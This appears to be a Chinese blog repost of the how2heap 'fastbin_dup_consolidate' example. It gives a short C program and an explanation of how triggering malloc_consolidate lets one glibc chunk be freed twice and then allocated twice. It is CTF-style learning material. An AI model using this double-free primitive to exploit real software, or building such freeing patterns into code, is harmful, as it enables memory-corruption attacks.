4.fastbin_dup_consolidate
源代码
1 #include <stdio.h> 2 #include <stdint.h> 3 #include <stdlib.h> 4 5 int main() { 6 void* p1 = malloc(0x40); 7 void* p2 = malloc(0x40); 8 fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2); 9 fprintf(stderr, "Now free p1!\n"); 10 free(p1); 11 12 void* p3 = malloc(0x400); 13 fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3); 14 fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n"); 15 free(p1); 16 fprintf(stderr, "Trigger the double free vulnerability!\n"); 17 fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n"); 18 fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40)); 19 }
运行结果
checksec
首先申请p1,p2两个0x40大小的内存,在fastbin大小范围内
之后释放p1
再申请了一个0x400字节的p3 属于large bin触发malloc_consolidate()
将fastbin中的p1移入small bin
此时p1不在fastbin头部
所以可以再次释放
释放后
fastbin 和 small bin中都有p1
再次申请两次都可以得到指向p1的内存
调试后得出上图,可知,先取出fastbin中的p1,再取出small bin中的p1
这就又造成了double free
转载于:https://www.cnblogs.com/pfcode/p/10989832.html
4.fastbin_dup_consolidate相关推荐
- how2heap的fastbin_dup_consolidate(包含sleepyholder)
fastbin_dup_consolidate Column: Mar 28, 2021 昨日dasctf, 临时学会了house of orange, 但依旧爆零, 哎, 只能说自己不够努力 利用方 ...
- linux堆上的内存可执行吗,pwn的艺术浅谈(二):linux堆相关
这是linux pwn系列的第二篇文章,前面一篇文章我们已经介绍了栈的基本结构和栈溢出的利用方式,堆漏洞的成因和利用方法与栈比起来更加复杂,为此,我们这篇文章以shellphish的how2heap为 ...
- linux 堆溢出 pwn 指南,新手科普 | CTF PWN堆溢出总结
学习汇总 序言 自从加入RTIS交流群, 在7o8v师傅,gd大佬的帮助下,PWN学习之路进入加速度.下面是八周学习的总结,基本上是按照how2heap路线走的.由于八周内容全写,篇幅太长,这里只讲述 ...
- How2heap--fastbin_dup_consolidate(by glibc-2.23)
fastbin_dup_consolidate.c 源码 调试分析 首先malloc两个0x40大小的fastbin chunk 同样申请0x40,加上0x10大小的chunk头,1字节的假大小(由于 ...
- how2heap-fastbin_dup_consolidate
fastbin_dup_consolidate consolidate 过程 若 get_max_fast() 返回 0,则进行堆的初始化工作,然后进入第 7 步 从 fastbin 中获取一个空闲 ...
最新文章
- Linux的主要特性
- java如何使用elasticsearch
- 分支结构,循环结构,for循环,九九乘法表
- spring boot使用freemarker页面获取系统路径最简配置
- leetcode 322. Coin Change | 322. 零钱兑换(动态规划)
- 关于Android studio 3.0 Failure [INSTALL_FAILED_TEST_ONLY]安装失败的问题
- c语言函数fread的调用形式,C语言的问题,fread和fgets的区别是什么?
- android 开发艾特功能,Android Binder
- 对发表论文的深层次思考
- java怎么检测代码安全_foritfy代码安全审计、foritfy代码检测服务、java代码安全审计检测、C/C++语言代码安全审计检测...
- HTML 变形(transform)、转换(transition)和动画(animation)
- 字节码指令之对象的创建与访问指令
- D1-H哪吒 设置hdmi分辨率
- ORA-03113:通信通道的文件结尾-完美解决方案
- STM8L051低功耗实现
- 云通信-腾讯云,TLS独立模式公私钥生成
- 蔡徐坤一条微博转发过亿 幕后推手被判刑五年
- 以后在此写下自己的后博士时代吧SWE-SPHysics
- Elasticsearch 入门
- Class<?>和Class的区别
热门文章
- DSVNP原理以及相关配置
- 记录ECS Linux系统出现xmrig挖矿程序
- 王家林人工智能AI第19课:使用决策树在Social Network上构建汽车销售推荐系统老师微信13928463918
- 基于微信小程序的电影院票务系统设计与实现-计算机毕业设计源码+LW文档
- 强推!30个遥感数据下载网站整理分享
- 使用Composer安装项目时报错 Do not run Composer as root/super user!
- 霍金两问北京:人类的未来如何达到完美?我们为何探索另一星球?
- 面试 --- java 设计模式
- PDF转换成图片——11种方案
- (学习笔记)十大经典算法——K-means聚类算法